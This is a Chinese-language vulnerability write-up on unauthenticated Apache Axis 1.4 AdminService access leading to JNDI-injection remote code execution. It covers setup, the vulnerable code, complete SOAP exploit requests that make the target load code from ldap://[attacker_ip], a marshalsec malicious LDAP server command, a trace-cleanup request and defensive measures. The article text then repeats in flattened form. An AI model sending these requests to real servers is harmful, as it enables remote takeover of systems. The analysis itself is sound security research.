axis 1.4 AdminService未授权访问 jndi注入利用
字数 980 2025-08-19 12:40:57

Apache Axis 1.4 AdminService 未授权访问 JNDI 注入漏洞分析与利用

漏洞概述

Apache Axis 1.4 版本中存在一个严重的安全漏洞,当 AdminService 的 enableRemoteAdmin 参数设置为 true 时,攻击者可以利用未授权访问和 JNDI 注入实现远程代码执行。

漏洞前提条件

  • 目标系统运行 Apache Axis 1.4
  • AdminServiceenableRemoteAdmin 参数设置为 true
  • 目标系统可访问外部网络(用于加载恶意 JNDI 对象)

环境搭建

1. 下载并部署 Axis 1.4

从 Apache 官方镜像下载 Axis 1.4:

http://mirror.navercorp.com/apache/axis/axis/java/1.4/

解压后将 webapps/axis 目录复制到 Tomcat 的 webapps 目录下。

2. 配置环境变量

编辑 ~/.profile 文件,添加以下环境变量:

export AXIS_HOME=/var/lib/tomcat8/webapps/axis
export AXIS_LIB=$AXIS_HOME/WEB-INF/lib
export AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jar

执行 source ~/.profile 使配置生效。

3. 启用 RemoteAdmin 服务

编辑 webapps/axis/WEB-INF/deploy.wsdd 文件,确保包含以下内容:

<deployment xmlns="http://xml.apache.org/axis/wsdd/"
    xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
  <service name="AdminService" provider="java:MSG">
    <parameter name="className" value="org.apache.axis.utils.Admin"/>
    <parameter name="allowedMethods" value="*"/>
    <parameter name="enableRemoteAdmin" value="true"/>
  </service>
</deployment>

4. 部署并刷新配置

执行以下命令部署配置:

java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd

漏洞分析

漏洞存在于 org.apache.axis.client.ServiceFactory 类的 getService 方法中,该方法存在 JNDI 注入点:

public Service getService(Environment env) throws ServiceException {
    // ...
    String jndiName = (String)env.get("jndiName");
    if (jndiName != null) {
        try {
            Context ctx = new InitialContext();
            service = (Service)ctx.lookup(jndiName); // JNDI注入点
        } catch (NamingException e) {
            throw new ServiceException(e);
        }
    }
    // ...
}

漏洞利用步骤

1. 注册恶意服务

发送以下 SOAP 请求注册一个名为 test1Service 的服务:

POST /axis/services/AdminService HTTP/1.1
Host: [target]:8080
Content-Type: application/xml
SOAPAction: something
Content-Length: 737

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
      <ns1:service name="test1Service" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
    </ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

2. 触发 JNDI 注入

调用刚创建的 test1Service 服务,注入恶意的 LDAP URL:

POST /axis/services/test1Service HTTP/1.1
Host: [target]:8080
Content-Type: text/xml;charset=UTF-8
Content-Length: 720

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">
  <soapenv:Header/>
  <soapenv:Body>
    <buil:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">
        <item>
          <key xsi:type="soapenc:string">jndiName</key>
          <value xsi:type="soapenc:string">ldap://[attacker_ip]:1389/Reverse1</value>
        </item>
      </environment>
    </buil:getService>
  </soapenv:Body>
</soapenv:Envelope>

3. 准备 LDAP 服务器

使用 marshalsec 工具搭建恶意的 LDAP 服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[attacker_ip]:8000/#Exploit"

4. 清理痕迹(可选)

使用以下请求卸载创建的服务:

POST /axis/services/AdminService HTTP/1.1
Host: [target]:8080
Content-Type: application/xml
Content-Length: 463

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
 <service name="test1Service"/>
</undeployment>
  </soapenv:Body>
</soapenv:Envelope>

防御措施

  1. enableRemoteAdmin 参数设置为 false
  2. 升级到最新版本的 Apache Axis
  3. 限制对 /axis/services/AdminService 的访问
  4. 配置网络防火墙规则,限制服务器对外部 LDAP 服务的访问

参考链接

Apache Axis 1.4 AdminService 未授权访问 JNDI 注入漏洞分析与利用 漏洞概述 Apache Axis 1.4 版本中存在一个严重的安全漏洞,当 AdminService 的 enableRemoteAdmin 参数设置为 true 时,攻击者可以利用未授权访问和 JNDI 注入实现远程代码执行。 漏洞前提条件 目标系统运行 Apache Axis 1.4 AdminService 的 enableRemoteAdmin 参数设置为 true 目标系统可访问外部网络(用于加载恶意 JNDI 对象) 环境搭建 1. 下载并部署 Axis 1.4 从 Apache 官方镜像下载 Axis 1.4: 解压后将 webapps/axis 目录复制到 Tomcat 的 webapps 目录下。 2. 配置环境变量 编辑 ~/.profile 文件,添加以下环境变量: 执行 source ~/.profile 使配置生效。 3. 启用 RemoteAdmin 服务 编辑 webapps/axis/WEB-INF/deploy.wsdd 文件,确保包含以下内容: 4. 部署并刷新配置 执行以下命令部署配置: 漏洞分析 漏洞存在于 org.apache.axis.client.ServiceFactory 类的 getService 方法中,该方法存在 JNDI 注入点: 漏洞利用步骤 1. 注册恶意服务 发送以下 SOAP 请求注册一个名为 test1Service 的服务: 2. 触发 JNDI 注入 调用刚创建的 test1Service 服务,注入恶意的 LDAP URL: 3. 准备 LDAP 服务器 使用 marshalsec 工具搭建恶意的 LDAP 服务器: 4. 清理痕迹(可选) 使用以下请求卸载创建的服务: 防御措施 将 enableRemoteAdmin 参数设置为 false 升级到最新版本的 Apache Axis 限制对 /axis/services/AdminService 的访问 配置网络防火墙规则,限制服务器对外部 LDAP 服务的访问 参考链接 Apache Axis 官方安装文档 Apache Axis 1.4 下载地址